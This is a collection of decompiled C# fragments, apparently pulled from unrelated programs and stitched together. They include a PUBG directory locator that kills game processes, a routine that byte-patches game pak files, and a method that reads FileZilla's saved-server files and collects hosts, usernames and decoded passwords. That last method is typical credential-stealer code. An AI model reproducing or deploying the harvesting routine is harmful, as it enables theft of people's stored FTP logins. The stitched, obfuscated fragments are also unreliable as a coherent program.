public VMState() { InternalState1 = MainModule.GetOrCreateInternalState1(); Memory1 = MainModule.GetOrCreateVMMemory(); memory2 = MainModule.GetOrCreateMemory2(); object_4 = MainModule.smethod_164(); }
// Token: 0x060007CA RID: 1994 RVA: 0x0104FE70 File Offset: 0x0104E070 public static bool smethod_0() { if (MessageBox.Show("Would you like to perform automatic directory search?\nSteam only.", "Game directory", MessageBoxButtons.YesNo, MessageBoxIcon.Asterisk) != DialogResult.Yes) { return(false); } Process.Start("steam://run/578080"); Thread.Sleep(500); Process process; for (process = null; process == null; process = Process.GetProcessesByName("TslGame_BE").FirstOrDefault <Process>()) { Thread.Sleep(100); } string text = process.smethod_0(1024); GClass21.smethod_1("Taskkill /IM TslGame.exe /F"); GClass21.smethod_1("Taskkill /IM TslGame_BE.exe /F"); if (text.Length > 47) { string text2 = text.Substring(0, text.Length - 43); if (text2.Substring(text2.Length - 4) == "PUBG") { text2 = text.Substring(0, text.Length - 47); } Settings.Default.GamePath = text2; Settings.Default.Save(); bool result; if (!(result = (Directory.Exists(Settings.Default.GamePath + "\\PUBG\\TslGame\\Content\\Paks\\") ? true : false))) { result = Directory.Exists(Settings.Default.GamePath + "\\PUBG2\\TslGame\\Content\\Paks\\"); } return(result); } UI.MsgBox.Show("Could not find game directory!", "", MessageBoxIcon.Hand); return(false); }
// Token: 0x06000527 RID: 1319 RVA: 0x0001D318 File Offset: 0x0001B518 private void method_4(object sender, DoWorkEventArgs e) { if (PhoneItForm.smethod_22(Class11.MySettings_0.PakPath, "1", false) == 0) { PhoneItForm.smethod_23("Please Choose your Pak Folder in the Settings Tab!", MsgBoxStyle.Critical, "System"); } else { try { PhoneItForm.smethod_24(Class11.MySettings_0.PakPath, "pakchunk0-WindowsClient.pak"); string string_ = PhoneItForm.smethod_24(Class11.MySettings_0.PakPath, "pakchunk0_s1-WindowsClient.pak"); Stream stream_ = PhoneItForm.smethod_25(string_); try { foreach (long long_ in GClass21.smethod_0(stream_, 0, 50000000L, GClass13.byte_1)) { PhoneItForm.smethod_26(stream_); BinaryWriter binaryWriter_ = PhoneItForm.smethod_28(PhoneItForm.smethod_27(string_, FileMode.Open, FileAccess.ReadWrite)); PhoneItForm.smethod_30(PhoneItForm.smethod_29(binaryWriter_), long_, SeekOrigin.Begin); PhoneItForm.smethod_31(binaryWriter_, GClass13.byte_0); PhoneItForm.smethod_32(binaryWriter_); PhoneItForm.smethod_34(this.FlatTextBox1, PhoneItForm.smethod_24(PhoneItForm.smethod_33(this.FlatTextBox1), "\r\nEMOTE REMOVED! (01/02)")); } } finally { List <long> .Enumerator enumerator; ((IDisposable)enumerator).Dispose(); } Stream stream_2 = PhoneItForm.smethod_25(string_); try { foreach (long long_2 in GClass21.smethod_0(stream_2, 0, 50000000L, GClass13.byte_3)) { PhoneItForm.smethod_26(stream_2); BinaryWriter binaryWriter_2 = PhoneItForm.smethod_28(PhoneItForm.smethod_27(string_, FileMode.Open, FileAccess.ReadWrite)); PhoneItForm.smethod_30(PhoneItForm.smethod_29(binaryWriter_2), long_2, SeekOrigin.Begin); PhoneItForm.smethod_31(binaryWriter_2, GClass13.byte_2); PhoneItForm.smethod_32(binaryWriter_2); PhoneItForm.smethod_34(this.FlatTextBox1, PhoneItForm.smethod_24(PhoneItForm.smethod_33(this.FlatTextBox1), "\r\nEMOTE REMOVED! (02/02)")); } } finally { List <long> .Enumerator enumerator2; ((IDisposable)enumerator2).Dispose(); } Class11.MySettings_0.PhoneItEnabled = "False"; PhoneItForm.smethod_35(Class11.MySettings_0); PhoneItForm.smethod_20(this.FlatButton1, true); PhoneItForm.smethod_20(this.FlatButton2, false); PhoneItForm.smethod_23("Done!", MsgBoxStyle.OkOnly, null); } catch (Exception exception_) { PhoneItForm.smethod_36(exception_); PhoneItForm.smethod_34(this.FlatTextBox1, PhoneItForm.smethod_24(PhoneItForm.smethod_33(this.FlatTextBox1), "ERROR!")); PhoneItForm.smethod_37(); } } }
// Token: 0x06002803 RID: 10243 RVA: 0x0001100F File Offset: 0x0000F20F public GClass21(GClass21 gclass21_0) : base(gclass21_0.uint_0) { this.uint_0 = gclass21_0.uint_0; this.string_0 = gclass21_0.string_0; }
// Token: 0x060001D2 RID: 466 RVA: 0x0000C25C File Offset: 0x0000A45C public static List <GClass32> smethod_0() { List <GClass32> list = new List <GClass32>(); List <GClass32> result; try { if (!File.Exists(GClass21.string_0) && !File.Exists(GClass21.string_1)) { result = list; } else { if (File.Exists(GClass21.string_0)) { XmlTextReader reader = new XmlTextReader(GClass21.string_0); XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(reader); foreach (object obj in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes) { XmlNode xmlNode = (XmlNode)obj; string text = string.Empty; string username = string.Empty; string password = string.Empty; foreach (object obj2 in xmlNode.ChildNodes) { XmlNode xmlNode2 = (XmlNode)obj2; if (xmlNode2.Name == "Host") { text = xmlNode2.InnerText; } if (xmlNode2.Name == "Port") { text = text + ":" + xmlNode2.InnerText; } if (xmlNode2.Name == "User") { username = xmlNode2.InnerText; } if (xmlNode2.Name == "Pass") { password = xmlNode2.InnerText; } } list.Add(new GClass32 { URL = text, Username = username, Password = password, Application = "FileZilla" }); } } if (File.Exists(GClass21.string_1)) { XmlTextReader reader2 = new XmlTextReader(GClass21.string_1); XmlDocument xmlDocument2 = new XmlDocument(); xmlDocument2.Load(reader2); foreach (object obj3 in xmlDocument2.DocumentElement.ChildNodes[0].ChildNodes) { XmlNode xmlNode3 = (XmlNode)obj3; string text2 = string.Empty; string username2 = string.Empty; string password2 = string.Empty; foreach (object obj4 in xmlNode3.ChildNodes) { XmlNode xmlNode4 = (XmlNode)obj4; if (xmlNode4.Name == "Host") { text2 = xmlNode4.InnerText; } if (xmlNode4.Name == "Port") { text2 = text2 + ":" + xmlNode4.InnerText; } if (xmlNode4.Name == "User") { username2 = xmlNode4.InnerText; } if (xmlNode4.Name == "Pass") { password2 = GClass21.smethod_1(xmlNode4.InnerText); } } list.Add(new GClass32 { URL = text2, Username = username2, Password = password2, Application = "FileZilla" }); } } result = list; } } catch { result = list; } return(result); }